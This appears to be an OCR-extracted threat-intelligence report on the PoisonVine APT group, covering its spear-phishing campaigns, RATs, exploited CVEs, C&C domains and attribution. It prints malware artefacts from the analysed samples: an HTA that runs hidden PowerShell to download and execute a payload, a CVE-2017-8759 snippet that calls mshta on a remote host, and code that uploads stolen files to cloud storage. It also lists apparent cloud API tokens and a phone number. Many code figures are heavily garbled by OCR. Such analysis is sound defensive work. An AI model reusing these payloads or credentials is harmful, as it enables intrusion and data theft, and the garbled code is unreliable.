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Abstract

In this paper we will disclose details of a little-known APT group, PoisonVine, and its long history
of cyberespionage activities lasting 11 years. The group is keen on Chinese entities and aims to
harvest political and military intelligence. Targets include government agencies, military
personnel, research institutes and maritime agencies. The group has compromised multiple
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entities successfully and is still active in 2019. We will describe the group’s campaigns in detail,
including malware, vulnerabilities, infrastructure and TTP. Furthermore, we will shed light on the
impact of the attacks and on actor attribution, thanks to mistakes made by the group when all
stolen data, including profiles of victim machines and sensitive documents, was saved to cloud
storage at the data exfiltration stage.

Introduction

PoisonVine is a little-known Traditional Chinese-speaking APT group that was first disclosed in
2018 by Qi An Xin Threat Intelligence Center [1, 2]. Starting in 2007, the PoisonVine group has
carried out 11 years of cyberespionage campaigns against Chinese key units and departments,
including national defence, government, science and technology, education and maritime
agencies. The group mainly targets the military industry, Sino-US relations, cross-strait relations
and ocean-related fields.

The PoisonVine group obtained an established foothold by sending spear-phishing emails and
delivering decoy documents, the contents of which were closely related to the target industry or
field (for example, specific conference materials, research papers or announcements). They
mainly used implants including publicly available RATs and custom trojans, such as ZxShell and
Poison lvy, and preferred to use cloud storage for the exfiltration of stolen information.

Because the group mainly uses Poison Ivy and cloud storage, making it similar to vines that can
climb across a wall, we named it ‘PoisonVine'.

11 years of campaigns

The earliest activities of PoisonVine were seen in December 2007, since when the group has
been active for 11 years. We list some of the major events in the timeline below:

» In December 2007, the trojan associated with the group was first discovered. Marine-related
fields (suspected to be related to a large shipping company) were involved.

» In March 2008, a key laboratory (a scientific research institute) at a university in China was
attacked.

» In February 2009, attacks against the military industry began (involving a well-known
military journal).

 In October 2009, the trojan added a special method for avoiding detection via static
scanning: API string reverse order. The method was used in most versions of the trojan and
continued to be used until 2018.

* In December 2011, the trojan added a special method to combat dynamic detection (error
API parameters). Related methods were used in most versions of the trojan and continued
to be used until 2015.

e In February 2012, the first modified version of a backdoor based on ZxShell code was
discovered. The key function was to steal document files such as .doc, .ppt, .xIs and .wps.
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* In March 2013, intense attacks were conducted targeting the Chinese Academy of Sciences
and a number of national ministries and commissions in the fields of science and
technology, maritime affairs, etc.

» In October 2013, a watering hole attack was carried out against a Chinese government
website.

* In May 2014, an evolved version of ZxShell was discovered. In addition to the functions
based on the previous version, a search was added for keywords such as ‘military (Z£)’,
‘aviation (fi1)’, and ‘report (%)’

e On 12 September 2014, events and samples related to CVE-2014-4114 (a zero-day
vulnerability) were first discovered.

e On 14 October 2014, iSIGHT Partners [3] released a report and disclosed CVE-2014-4114.
On the same day, Microsoft released relevant security bulletins.

e On 25 February 2015, an attack was detected against a military industry association
(national defence technology) and the Chinese Academy of Engineering. Kanbox (f&#}) [4]
samples were discovered.

 In October 2017, the CVE-2017-8759 vulnerability document was used to initiate a
spear-phishing attack against a large media agency website and an individual working in
Quanzhou.

 In April 2018, the Qi An Xin Threat Intelligence Center disclosed the malicious attack code
of the group, exploit CVE-2017-8759 [1].

e In May 2018, the actor launched attacks against several maritime organizations including
ship-building companies and port-operating companies.

e In April 2019, the Qi An Xin Threat Intelligence Center found new samples using exploit
CVE-2018-20250 [5] and JianguoYun cloud storage [6].

Capabilities and cyber weapons

PoisonVine has used publicly available RATs, custom trojans and several vulnerabilities in its
activities. In this section, we will analyse the group’s main capabilities and its cyber arsenal,
including RATSs, vulnerabilities and infrastructures.

RATs

Poison lvy

The Poison lvy trojan is essentially a remote access trojan (RAT). FireEye conducted a special
analysis of Poison lvy [7]. The Poison Ivy trojan in this report corresponds to the 2.3.2 version.
The Poison Ivy Trojan Generator has a total of 10 versions starting from version 1.0.0. The latest
version is 2.3.2. The Poison Ivy Trojan Generator can generate both EXE and shellcode versions.
The trojans generated in this case are in shellcode form. Most of the related mutexes use the
default value of ‘)!VogA.14’.
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Figure 1: Poison Ivy Trojan Generator.

The Poison lvy trojan decrypts the shellcode using two rounds of a one-character XOR operation.

void sub_401000()
{

signed int v@; // eax@l
signed int v1; // eax@3

v = B;
do

pi_shelflcode[un] "=

++yul;

H
while (
vi = 93
do

vl < 0x1800 );

{
pi_shellcode[u1] "= |u£2|::
*+y1;

}
while ( v1 < 0x1800 );

JUMPOUT(pi_shellcode);
H

void sub_401000()
{

signed int v@; //f eax@1
signed int vi1; // eax@3

v = 8;
do

byte_s05030[vi] "=

0x28u;

+eull;

H]

while ( vD < 6144 );
vl = B;

do

{
byte_k05030[u1] "=

0xB3u;

L el H
}
while ( v1 < 6144 );
JUHPDUT (byte_405030) ;

void sub_481008()

{

H

signed int v@; // eax@1
signed int v1; // eax@3

vd = 8;
do

byte_hOS030[u0] “=

T H

0xAtu;

]

while ( vD < 6144 );
vl = 03

do

{
byte 40S030[v1] “-

U

L
while ( vi1 < 6144 );
JUMPOUT (byte_u05030) ;

Figure 2: Decrypting the shellcode using a one-character XOR operation.

ZxShell

ZxShell was used by PoisonVine continuously from December 2007 until October 2014. Due to a
large difference between the relevant versions, ZxShell can be regarded as existing in two
versions. They are the internal published version and the open-source version. The first version
refers to the ZxShell trojan used by PoisonVine from 2007 to 2012. The second version refers to
the ZxShell trojan used by the group from 2012 to 2014. The related trojan is developed based on
the open-source version, which we call the secondary development version. The internal
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published version and the open-source version are both version 3.0. The former is not widely
publicized, but intergrated with features. The latter version’s source code is widely distributed,
and the functions are eliminated from the previous versions. For a more detailed analysis of
ZxShell, please refer to Cisco’s report [8].

The samples we captured are based on ZxShell source code modifications. They have retained
the original structure. ZxShell itself has more than 20 instructions. In addition to retaining some
instructions, the samples we captured excluded a large number of instructions, such as:
installation start, clone system account, shutdown firewall, port scan, proxy server and other
functions, but had the ‘IEPass’ command added.

if ( tdword_S5123E998(&vi, name) )
return sub_51211881(s, "%s>", (unsigned int)byte_ S1238BC58);
if ( dword _S5123E990(&uf6, "Help™) && dword_S5123E99@8(&u6, "7") )
{
if ( tdword_S5123E990(&v6, “Exit") || tdword_S123E998(&ui, "Quit") )
return 8;
if { dword_S5123E998{&uv6, "Sysinfo™) )
1
if { dword 5123E998{&uc6, “Ps™}) )
{
if { dword 5123E990{&vc, “CleanEvent™) )

{

if ( dword_S5123E998(&u6, “IEPass™) )

if ( dword_S123E998(&u6, "TransFile™) )
¢ if ( dword_5123E990(&u6, “GetCHMD") )
¢ if ( dword_S123E99@8(&u6, “ZXNC") )
¢ if ( dword S5123E998(&u6, “End") )

¢ if { dword _S5123E998(&u6, “ShareShell™) )

{
if ( dword 5123E990(&u6, “"FileMG") )

if ( dword_S5123E998{&u6, “rPortHap™) )

sub_51211881(s, "'%s' Unknown Command.\rin', (unsigned int)&vd);
else

sub_51217862(s, 4);

H
Figure 3: The IEPass command.

Kanbox RAT

Kanbox RAT is a customized tool which was developed by the group. It is often disguised as a
folder icon. After execution, it will release the ‘svchOst.exe’ trojan file as well as the normal folder

and a ‘.doc’ file to confuse the user.

‘svchOst.exe’ is a trojan transmitted using the SSL encryption protocol. It will execute all the trojan

processes every hour, and the trojan processes will pack and upload all the information on the
computer (including: file directory, system version, network card information, process list
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information, package specified files, network information and disk information), as well as files
with related keywords (such as ‘Taiwan’, ‘Army’ and ‘War’ in Chinese), to the Kanbox that the
attacker registered in advance via the SSL protocol.

The C&C address is a Kanbox address. The file will be uploaded via the API provided by Kanbox.

Kanbox is a free cloud service in China which provides online file storage services.

SSLINit(a); 77 SSUMYIR S
v3 = sub_HBCCSB(v2); /7 #is{rssL
sub_4BCCo@(va, 28011, (unsigned int)sub_LO50B@);// }_EEF TOKEH

memset(&best, B, @x184hu);
sprintf{&Dest, “%s_%s", “Ghu{zju{hrk}{", a1); // FEIFEHETEE aboutdoublewu
if ( v3 )
{
sub_4BCEBB{&Memory, &0, 1});
sub_4BCEBB(&Menory, &u9, 1);
sub_4BCEBB(&Menory, &9, 1});
sub_4BCEBB{&Memory, &9, 1);
sub_LBCCeB(uvi, W7, 1);
sub_4BCCY98{v3, 18802, (unsigned int)"https://auth.kanbox.com/B/token™);
sub_HKBCCPA(va, 10024, (char)Hemory);
sub_4BCCPB{v3, 64, 8);
sub_4@8CCo98(vi, 81, @);
vl = _mkgmtime{{struct tm =*=)uv3);

H
else
{
vh = vii;
¥
sub_4BD78@(Hemory);
sub_ 4OCEAB(vI);
Sleep(1080u) ;
memset (&uvi13, @, @x184u);
sprintf(&u13, “https://api-upload.kanbox.con/8/upload/%s/%s?hearer_token=%s", &Dest, a2, byte_&F2214);
vidg = @;
vi1 = @:
uf = sub_JBCC5B{v5);
if  tué
|l {sub_4BCEBB{&vi1H, &ui11, 1),
sub_4BCCoB(vi, 47, 1),
sub_4BCCYB(uG, 18802, (unsigned int)&ui13),
sub_4Bccoaf{ui, 18824, (char)uid),
sub_WBCC9B(vi, 64, B),
sub_4BCccoa{uc, 81, 8),
_mkgntime({struct tm =)uva),
vh) )
{
result = @;
H

Figure 4: The file is uploaded via the API provided by Kanbox.
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Figure 5: Kanbox.

Custom shellcode loader

We discovered this custom shellcode loader in early 2018. The custom shellcode loader is
delivered by a malicious HTA file, which will download and execute a PE implant.

=definitions
xmlns="http://schemas.xmlsoap.org/wsd L/"
®mlns:socap="http://schemas.xmlscap.org/wsdl/soap/"
#mlns:suds="http:// wew.w3.0rg,/ 2800,/ wsdl/suds"
«mlns:tns="http://schemas.microsoft.com/clr/ns/System"
xmlns:ns@="http://schemas.microsoft.com/clr/nsassem/LogosLogo">
<portType name="PortType" />
<binding name="Binding" type="tns:PortType"=>
<spap:binding style="rpc" transport="http://schemas.xmlscap.org/soap/http" />
<suds:class type="ns@:Image" rootType="MarshalByRefObject"=</suds:class>
</binding=
=seryice name="Service"=
<port name="Port" binding="tns:Binding"=
<sgap:address location="http://fupdateinfo.servegame.org?C:\Windows\System32\mshta.exe?http://
updateinfo.servegame.org/dingl/dingl. hta" />
<spap:address location=";
if (System.Applomain. CurrentDomain.GetDatal_url.Split{*?'}[@]) == null) {
System.Diagnostics.Process.Start(_url.Split('?*)[1], _url.Split(*?#')[2]1);
System.AppDomain. CurrentDomain.SetDatal(_url.Split('?')[@], true);
Yoo
=/port=
</service=
=/definitions=

Figure 6: Custom shellcode loader.
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<html>4
<head 4
¢zcript language="VBScript” 4
Sub window_onload+
const impersonation = 34
Conzt HIDDEN_WINDOW = 124
Set Locator = CreateObject ("WbemScripting. SWbemLocator™)+
Set Service = Locator.ConnectServer()+

Service. Security_. Impersonationlevel=impersonationt

Set objStartup = Service. Get ("Win32_ProcessStartup”) !

Set objConfig = objStartup. SpavmInstance 4

Set Process = Service.Get ("Win32_Frocess” )

Error = Process.Create ("PowerShell -WindowStvle Hidden -nop -c
(New-0Object

exe’ ,’ officeupdate. exe’ ) (New-Object —com
Shell. Application). ShellExecute (" officeupdate. exe’ )", rull, objConfig,
intProcessID) L
window. cloze ()4
end sub!
<fscript>d
</head>|/
html e

Figure 7: Malicious HTA file.

From the ‘SCLoaderByWeb’ string in the implant file, we believe, from the literal meaning, that the
actor built it as a shellcode loader.

The loader program will first try to connect to a common URL to check network connectivity. If
there is no connection, it will try to connect every five seconds until the network is connected.
Then it downloads the payload from hxxp://updateinfo.servegame.org/tiny1detvghrt.tmp, as
shown in Figure 8.
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aTL

mEmSET

add esp, léh
lea eax, [ebptpdwBufferLengthiut]
push eho ; dwReserved
push eax 3 pdwBufferLengthOut
push esi ; dwBufferLength
push edi ; pBuffer
push 1aaaaadih ; dwlption
call ds:UrlMkGetSessionOption
moy esi, ds:InternetCheckConnectioni
push ebx ; dwReserved
b 1 oAzl
push offset szUrl ; “http://v com,
call esi ; InternetCheckConnectic
C ebx, ds:Sleep
Jmp short loc_48188C

loc_88188C:

test eax, eax

jz short loc_48187A

' .

= W=
loc_aelega: loc_48187A: 3 dwMillizeconds
xor eax, eax push 5088
push eax ; dwFlags call ebx ; Sleep
push eax 3 lpszProxyBypass push ] 3 dwReserved
push eax 3 lpszProxy push 1 3 dwFlags
push eax ; dwAccessType push offset szUrl “http: f v du . Com
push edi 3 lpszAgent call esl ; InternetCheckConnectionid
mow [ebp+dwhiumberOfEytesiead], eax
mow [ebp+Buffer], eax
call ds:InternetOpenk
mov esi, eax
xor eax, eax
push eax 3 dwlontext
push S0000088h 3 dwFlags
push eax 3 dwHeadersLength
push eax 3 lpszHeaders
push offset aMttpUpdateinfo ; “http://updateinfo.servegame.org/tinylde”...
push esi 3 hInternet
:‘];l ::i{.r'::x'\ctuptw s ; const WCHAR aHttplpdateinfo
oty edi, edi EIH.t':F“-"Nlate:l.ﬂi:ﬂ:te:-ct “UTF-16 r:"l 'ﬁttp‘.n’;u;}dat-e-ir;'_Fn.s;’ueg;u;e.nrg.:’t::lr“-l.detl.-ghrt tm:-'la
jnz short loc_4818CE T -

Figure 8: The loader program.

The downloaded file is decrypted using a multiple round character XOR operation. For example,
as shown in Figure 9, each round of the XOR key is Oxac, 0x5c, 0xdd, the result is equivalent to

XOR 0x2d. After the decryption, the file will execute in a created thread.
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loc_48112E:

loc_481134:

loc_48113D:

loc_481143:

loc_4e114C:

loc_481152:

of the XOR key is Oxac, 0x5c, Oxdd, the result is equivalent to XOR 0x2d.

xor
test
jz

xor
inc
cmp

xor
test
jz

xor
inc
cmp
jb

xor
test
jz

®or
inc
cmp
jb

; CODE XREF: sub_481888+1131j

eax, eax
edi, edi
short loc_4®8113D

; CODE XBEE-
byte ptr [eaxtebx],

BACH

sub_4@81005+1334

eax
eax, edi
short loc_ 481134

; CODE XREF: sub_481888+12A7%j

eax, eax
edi, edi
short loc_4ae114c

; CODE XREF: sub_481888+1421j

byte ptr [eaxt+ebx]
eax

5Ch

eax, edi
short loc_481143

; CODE XREF: sub_481888+1391j

eax, eax
edi, edi
short loc_48115B

¥

v CODE _XBEFE:

byte ptr [eaxtebx])

B00h

eax
eax, edi
short loc_481152

The shellcode is generated by the Poison Ivy RAT.

Vulnerabilities

sub_401008+15147

Figure 9: Each round

CVE-2012-0158

CVE-2012-0158 is a vulnerability that could allow remote code execution — the attacker would
have to convince users to open a specially crafted document. CVE-2012-0158 is typically
exploited in the RTF and DOC formats, but the PoisonVine group saved the exploit document to
MHT format, which helps avoid detection by anti-virus engines.
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el1714£04513fbE546LE384LTT04366_11 T14£046181bE546bAE3084b 7704366, doe [F*

MIME-Version: 1.8

¥-MimeOLE: Produced By Microsoft MimeOLE V6.1.7681.17689

Content-Type: multipart/related;
boundary="----= NextPart_@@@_ #8620 @1DBOFEG.1A7CC778"

EE MIME BTRIE AR

g ------ = MextPart_eeé 8e2l alDesrbBe.lAT7CCI7a

9 Content-Location: file:///C:/2673C891/Docl.htm
1@ Content-Transfer-Encoding: quoted-printable

11 Content-Type: text/html;

= W s Ra

12 charset="us-ascii”
13 .
14 <hitm]l wmlns:w=3N"urn:=schemas-micrnanft-comowml™ Flgure 10: The

fe6df733h0eb53£9489bd6298bar5427 samplelist. dock

wrtfl{aV*\} enerator sftedit 5.41.15.1587;}

viewkindly clipardilangle33i\fe\fsze\langled49ifl\par

{0BiEKt\*\}0bJEmB{\ \0JbAdAt

alaseaas

B2eaeaae

1laaaaas

576T72642e446T63756d65627422313200

gaepaaae

BaaaEaRe

1la @e3aceas

11 Decflle®albllaelfoaas066000000000000000000000003000300 T TE00006000000000000
12 GeREEEEEE001000220010000000000000000100000020000000100008ffTTITEoRRRRRRRRREE

P O g g gl Bl Bl Bl ol gl gl gl Bt Bt Bt gl ol gl ol gl gl ol ot gl ot g gl gl gl Bl Bl gl ol ol gl Bt B gl gt gl oot gl gl gl gl ol Bl o gl gl gl Bl Bl Bl g ol gl o ol ol gt il gl gt g gl gl il ¥l ¥l ¥ gl o ol o

00 =] O Wl ko

[X=]

é)1<ploit document.

CVE-2014-6352

CVE-2014-6352 is an OLE code execution vulnerability that can bypass the patch for
CVE-2014-4114, a vulnerability of Windows OLE package manager code execution that has been
exploited in the wild by the Sandworm APT group (found by iSIGHT Partners). CVE-2014-4114 is
exploited by executing an INF file via a crafted OLE object in a PPSX document.

CVE-2014-6352 can bypass the patch for CVE-2014-4114. The patch for CVE-2014-4114 fixes
the problem by adding a ‘MarkFileUnsafe’ function. The MarkFileUnsafe function sets the file
security zone to URLZONE_INTERNET if it comes from a remote computer, and alerts the user
when the file executes.

The CVE-2014-6352 exploit triggers the opening of an executable file, which is embedded in a
PowerPoint document, directly and without using the INF file.

We found the PoisonVine group using CVE-2014-6352 as a 0-day. Related samples are listed in
the table below.

MD5 SHA256 Filename

11/27



da807804fa5f53f7cbcaac82b901689c

19f967e27e21802fe92bc9705ae0a770

5e4a081a63f0122328e75cae991a1
9b3ae25af9c68bccfdae514ce972ef
2148d

€99f089bf209d5caea948f424881¢c
bf6652658b973a5b97dbb59db6e0
3e8c907

TEIEITHIRE
SV
{EH.ppsx

B9 78 R B
B & iX
H.ppsx

The earliest we found the exploitation document, which is named ‘FE3Fi%%|EE LI FH S
F.ppsx’ in Chinese, was on 4 September 2014 based on the document created date. The first
activities were captured on 12 September 2014.

~

[v) mERseS TR RES ppsx BE 2 1| (1) mesmnEgusepsEt %
B & | FEEE | NmES B x| @S s
rm @ N rm x ,
Los ) TR sl PowerFoint TR
FH 8
e - i
-7 3 37| -
#E #E
£ ] =5
X Windows P {E#H zeus
BE—XrERHE Windows BE—XEFE dank
AN E=] 1 218 2z
WEE WES
EEa Microsoft Dffice PowerPoint EFa Microsoft Dffice FowerPoint
28 Y-
EiEE EEE
pERMEHEdiE 2014/9/4 0:44 gl AERETE 2014/9/9 13:02
BE—KR7FAIEHE| 2014/9/4 0:46 BE—X{RTFABEHA| 2014/9/12 13:13
BE—ATEDDETiE B E—RHTEDRAiE
SiRsEEE 00:02:00 - SiRiEetE 00:05:00 .
BEzEt 0 AER A fEE
i) (i) [ 57 (o ) WA ] on
LN ) " .

Figure 11: The exploitation document named ‘F515E15 4| EE 4R T(EH.ppsx.

CVE-2017-8759

We found several malicious HTA files on one of the remote servers used by the PoisonVine
group. The content of the HTA file is as shown in Figure 12.
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<definitions
xml

<pa ¥ype name
<binding name="Bi
{soap:binding

Port™ binding=
p:address locati

AppDomain. CL o
m.Diagnos rl.5pli 3 _url.spli
m.AppDomain in.S LSplit(2')[@], true)

Figure 12: The content of HTA.

We can certainly recognize these as exploits of CVE-2017-8759, so we believe the PoisonVine
group also built a malicious document which exploits CVE-2017-8759. After the vulnerability is
triggered, mshta.exe executes the HTA file remotely.

The HTA file is an HTML page with malicious VBS code embedded. The VBS code calls
POWERSHELL to download the subsequent exe loader.

HIDDEN
or

Figure 13: An HTML page with malicious VBS code embedded.

Infrastructures

The PoisonVine group preferred to use dynamic domain services and cloud storage for C&C and
data exfiltration.

Dynamic domain services
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The group used several DDNS services. The table below lists the distribution of the service
providers’ usage. ChangelP and No-IP are the group’s preferred choice.

DDNS service provider Domains

ChangelP 30
No-IP 9
DynDNS 2
Afraid(FreeDNS) 1
dnsExit 1

Disguised legitimate websites

The group used domains that mimicked those of legitimate Chinese websites to confuse their
victims. They chose government websites, email service providers and the sites of some anti-
virus software.

C&C Legitimate website
chinamil.lflink.com Website of Chinese Military: www.chinamil.com.cn
soagov.sytes.net State Oceanic Administration: www.soa.gov.cn

soagov.zapto.org

soasoa.sytes.net

xinhua.redirectme.net Xinhua News: www.xinhuanet.com
126mailserver.serveftp.com Famous mail service provider in China: 126.com, 163.com
mail163.mypop3.net

kav2011.mooo.com Chinese anti-virus software

safe360.dns05.com

cluster.safe360.dns05.com

rising.linkpc.net

Cloud storage

In previous activities, we found two samples that used Kanbox, a Chinese cloud storage service
provider, for data exfiltration.

client_id client_secret refresh_token
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3edfe684ded31a7ccab6378c022 bfa89eebf29032076e9cffb755 75cdc35b1cdaee24047f3afb23
65629 49feeb abccce

7a5691b81bf4322fd88f5fa994 d44cfa7dd3c852b69c59efacf76 14b6685330bf32a22688910e7
07fbbc 6cc23 65b5dce

By using the token and Kanbox AP| we can retrieve the register information, which contains a
telephone number:

{"status":"ok","email":"", "phone":"15811848796", "spaceQuota":1700807049216, "spaceUsed" :508

Third-party blogger

The PoisonVine group also use blogging services for payload transmission. In their previous
activities they used Sina, which is a popular blogging service in China. By using a blogging
service and hiding malicious code in the blog content, it is easy to penetrate target organization
networks without triggering a firewall alert.

Holle 2015-08-10 10:00)

@aa!! ! TEAGCIACES1DDDD2D24D1EEDAQS0ASDDD2D29459222D2DDEST 1EEDAODOE]
CAZD2D2DC443202D2DT8AGC1ACE91DDTD2D2A65825A0ABDE62E2D2DTD472D472DD:
2D109A2D2D2D5829E4EF292DTBAOAB46242D2DTDAOABES2C2D2DTDD2EED02D2D2I
B0O2D2D2DA4ABEE272D2DC5172D2D2DCC4D99A32C2DFCEC0451382D3396C 1483421
202DATC511573C2DESEOEE3 124 2DFAF20064542D2D2D2D2D72AE122D5936D2 1AD:
A4291FAEEAIRCECDA5AZFE8996D29BEE272D2DTDD2EEF02D2D2DA0A04TD3D2D2T(
AB19D1D2D23D0AZDZDADS3D92T2D2D2C5815AE93ECIF2DZDD25802D29BA12C2D2I
2DTDAOABEE2F2D2ZD70D2BEE42D2D2DEAARATIZC2D2DDZD2D2D2EAABEED3D2ZD22D2I
22A8A52DZDZDAES06ODSD2DZ2FE8 1CAD93DE2T2D2D2CEB05AEI3A12C2D2DD2583E
2D20D2D2D2D2EBABDS272D2D2DC685ACO01DDTD2D24E465E10583EEAAR1DDTD2D:
D7D2D24E465E10EB

e I S (== (R - )]

MO S FRIEE 231 2015-08-10 10:00)

Figure 14: Malicious code hidden in blog content.

Tactics, techniques and procedures

The PoisonVine group used spear-phishing emails to deliver decoy documents or achieve an
executable payload. The content of the email and attached file appear sufficiently legitimate to
confuse the targeted victim. If the target opens the attached file, some vulnerabilities are
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triggered and payloads are executed. In this way the actor gains initial access to target networks.

(B9 6 s ¥ 013EMTMATESSESTE - B4 (HTMU =@l T
C -0
i) TATE (guweass20130163 con? SN 2013/10/24 (W) 14:16

A I

i

PETHAFHFLET 2013 5 12 A -8 BETMBF 2013552, 2UaERALED.
HESURER SNTANEMSTRAE LT BSRBEERENEARE, HTAMEHIEIA
AABIHTITE, NSLEFRMEXRERSSWEY, G2 LRT0R, FLMapETIArS
TETRTLY, MREGHELALRL. WIRSLLTUFRUARLS. FRANSTEE | Figure 15:
nFTF - :

BNRRELNEEFS, MHRFEFaNIS MRS 2RER ASHRERANERARNE
. FEBLAEHARLE, NAOEREHSERR.

ARSI EREA

4

0 smrmesesasllII K -

'i'he content of the email.

e rar - WinRAR (FISHE) [
THE SO TRE) GRSEO0) BEN) W) |
FARPLH MR & 40 ¢
B @xFesmroees rar - RAR FESZF%, MS13 229,376 35 -
B o FAER) HE naae
R R R R i B ot S sl R G O e D0 s |
T RTESRT SS RN SRR AT e 229,376 83392 CREE 2013/1072 8:24
4| ] »
e it 220,376 ¥ %)

Figure 16: The attached file.
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B BErEedsliio.\EHEe@nis  SREES RAR FE2E BEtY 66,191 3T

;The comment below contains SFX script commands

& -
S, ... 0\ 2017, et bat

[ 2017 bt bat Silent=1
B teredo.exe Overwrite=1
W) B E eI ER.doc

Figure 17: Payloads executed.

The actor also used RLO, appending a number of spaces to the end of the filename, and
disguising the file using a legitimate software icon such as a folder or Office document. These
techniques help to hide the file extension name and confuse the target victim.

KiSiFBESIEAERN S Ethangbaoexe.doc
=1 == gEes

f i) f: 2015/6/12 14:22
=i [REER #7115 MB

u] -03- Bt =R B {23 —_— % : .
gl 5~ 80.0 KB Figure 18:

The actor also used RLO and appended a number of spaces to the end of the file name.

The implant RATs used some techniques to evade detection. One of the evasion techniques is to
reverse the order of the APl names. When the trojan executes, the reverse string is converted to
a normal API string by the ‘_strrev’ function, and the ‘GetProcAddress’ function is called to
dynamically obtain the API address. The use of reverse order API strings increases the difficulty
of string detection. In addition, the APl address is obtained dynamically during the execution of
the trojan, which is difficult to detect in the static information of the PE, which increases the
difficulty of API detection. This technique is known to have been used between 2009 and 2018.
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Figure 19: APl names are reversed.

F—

£ e memmay eg e g weeg
esi, dword ptr [CAMSVCRT. _strret msvert. _strrev

e ax 3
— -

word ptr , dx

es _Sirrev
ecx, dword ptr [esptl18]

ecx
€51
edx,
wdx
€11
esi, dword ptr [CAKERNEL32 GetP1 kernel32 GetProcAddress
esp, OC

e, ﬁ.‘.w [espt34]

eax ProcNemelrOrdinal
ebx [:'." dul &
el GetProchddress

dword ptr [esptaC]

Bveed mibiee Focoieal

-

eax s = "AsetubirttheliFt”

movs byte ptr es:[edi], byte pl.l[

dword ptr [CAMSVCRT. _strrev>] _strrev

esp, 4

ecx, dword ptr [espt2C] :

ecx ProcNameOr(r dinal

ebx [':." dul e
GetProcAddress

dword ptr [CAKERNEL3Z. GetProcAds
P H

Another way to evade detection systems is to pass the wrong parameter to the ‘GetClientRect’
function. The first parameter of GetClientRect is to obtain a target window handler. The trojan

passes 0 to GetClientRect, which will fail forever in the Windows operating system, and the return

value is 0. At present, many anti-virus solutions use dynamic scanning technology (mostly in
heuristic detection). The simulation of executing the GetClientRect function does not consider
error parameters, meaning that the GetClientRect function is always executed successfully by
simulation, and the return value is non-zero. In this way, the anti-virus software’s virtual
environment and the user’s real system can be distinguished by trojans, thus allowing them to

bypass anti-virus software detection.

= “tohspanSZ3plehlooTetaerC”
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push esi
sub esp, 10h lea eax,; [ebp+Rect]
lea eax, [esp+1Bh+Rect] push eax ; lpRect
push eax : 1pRect ::;h :::, esi A
push o 3 hind : H
call GetClientRect call GetClientRect
test eax, eax test eax, eax
jz short loc_40105F jz short loc_51219CD7
nou eax, 1 xor eax, eax
add esp, 10n ~ inc eax _ .
retn  10n  EEAGTE, FMITEEMRE jmp  short loc_5121900F ; FEAFE, FHITEEAED

2011

B8 01000000 mov aax, |
«| B9 2F160000 | jmp Exat?
> B9 41000000 |mov acx, 41

2015

2012

OJEL WO ana ecx, . ]
S0 push A 5
F3:Md rep movs byte pir es:[edi], byte ph[
FFIS eall ﬂ)p _sirrav
B3C4 04 add esp, 4
BD4C24 48 lea ecx, dword ptr [esp+d8]
51 push ecx f:--'.'..'-":': dinal
53 push abx [
FFIS 18E0400( eall dword ptr [<AKERNEL3Z. GetProchd :ﬂl‘rc-:.kdd.rus
EB 04 Jmp short 001-0831';\
BB4424 14 |mov wax, dword p [Mi]
803424 T4030(1ea eds, dword mr esptIT4]
52 push wdx
BA 00 push 0
FFDO Rl  eax user32. GetClientRect
8500 test cu(, cu(
. vrT‘ 21 IJI I
8D8C24 8COTO(len wex, .“ I‘xﬂj
CT8424 DOOBO(mov m
EB 4FCAFFFF |eall 'DCI(D‘?TFI]

Figure 20: Another way to evade detection systems is to pass the wrong parameter to

‘GetClientRect’.

After implanting the RATs in the target endpoint, information will be collected from the local
system, including MAC address, operating system version, host name, user name, process list,
disk volume information, and so on. It will also scan the document files for filename that contain
hard-coded keywords, such as ‘military (%), ‘international (E[R)’, ‘Taiwan (X&), ‘technology (F}

) and ‘national ([E) (see Figure 21).

if ( w7 > 8)

1
12 = Gull;
do
{
if § =012 = "A' )
{
sub_5S12158cafviz, "Eﬁfﬁ", U2y, u2G, w27, vZ8)
sub_512158CA{vi2, |3,sz, vi3d, vih, vi5, vih]
sub_S12158cafviz, "EE", uvi7, v18, vi19, v2@);
¥
ul2 += G
-—u7;
H
while { u7 );
H

Figure 21: Hard-coded keywords.

if ( w27 > 8 )

{
u31 = (int)&best;
do
{
if { ={ BYTE =)u3l *= "A" )
{
sub_482618{vi1, "EE ¥;
sub_4826108{v31, "FlE");
sub_482618{vii, " i
b
uil += §;
——u27;
¥
while { v27 3;
H

The following is a list of MITRE ATT&CK techniques we have observed based on our analysis of

the PoisonVine group.
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e T1193 Spearphishing Attachment

e T1203 Exploitation for Client Execution
e T1204 User Execution

e T1170 Mshta

e T1064 Scripting

e T1102 Web Service

e T1022 Data Encrypted

e T1005 Data from Local System

Data exfiltration and impact

The PoisonVine group used cloud storage to store the exfiltration data — the access token was
embedded in the implant. This is helpful for security researchers investigating the exfiltration data
and the real impact of the attack on the victims.

The actor only used a simple XOR function to encrypt the data that is uploaded. After decrypting
the token by reversing RAT samples, we were able to access the full data with at least 3GB
uncompressed file size. Most of the data consists of documents relating to the logged in user or
data of installed programs.

¥ [ 20150303-5a780
k| ] ERecycle.Bin
¥ 9 Users

k| Administrator
| 20150303-6deae
|1 20150303-9a907
] 20150303-10c7cebf
b |7 Documents and Settings
|7 20150303-48dclec2
k| task
] 20150303-64a19b72
| 20150303-66da0a8b
b [ Program Files (x86)
¥ | | Users

4 v ¥

4

4 ¥

k| Administrator
¢ [ Default
¥ [ ] 20150303-84e9246a
b || Documents and Settings

» [l Program Files

Figure 22: We were able to access the full data.

We discovered that the actor used another cloud storage service, named JianGuoYun, in its
recent activity, which was used for tests and exfiltration.
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oGty om
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. scount® 2019031516052,
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GRAB_USA_TREE

(PREREREEPEEEE
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S GeME FiEE B
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B Bytes
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SR KE
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Figure 23: The actor recently used another cloud storage service named JianGuoYun.
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Besides the data we mentioned, the actor also collects information about the target PC. The
RATs collected information from the victim PC, including OS, process list, IP address, host name,
user name, and so on.

Attribution of the actor

Attribution is always a problem for the security investigator. For the PoisonVine group, we found
several pieces of evidence which could help identify the actor, including language, encoding and

character set. We found several cases of metadata written in Traditional Chinese in the payloads.
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Figure 24: We found several cses of metadata written in Traditional Chinese in payloads.
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The default character set in the decoy document is ‘PMingLiU’, which is used most commonly in
the Traditional Chinese-speaking regions. And most of the names of the decoy documents

related to cross-strait relations in China.

e ®mA FEGR B m4 =R 08

¥, a
g Bli U-semx | WA

=i

———

[ # PMinglit | d— - AW A L ®A i=-5=-F e 28 ¢ AaBbC AAB AaBb( 4aBbCel AaBbC
» R

T “inE 1 BItnER =8 B

ENE - Bl

TESLERAE : #E..

TESEERAR  HESPEETFE

B % Hinw

#E ShERFIIME B4 —— I SEF ORI Lo 2wt -

EEHHEMHE SEERRSN R “TE" SRS E ks

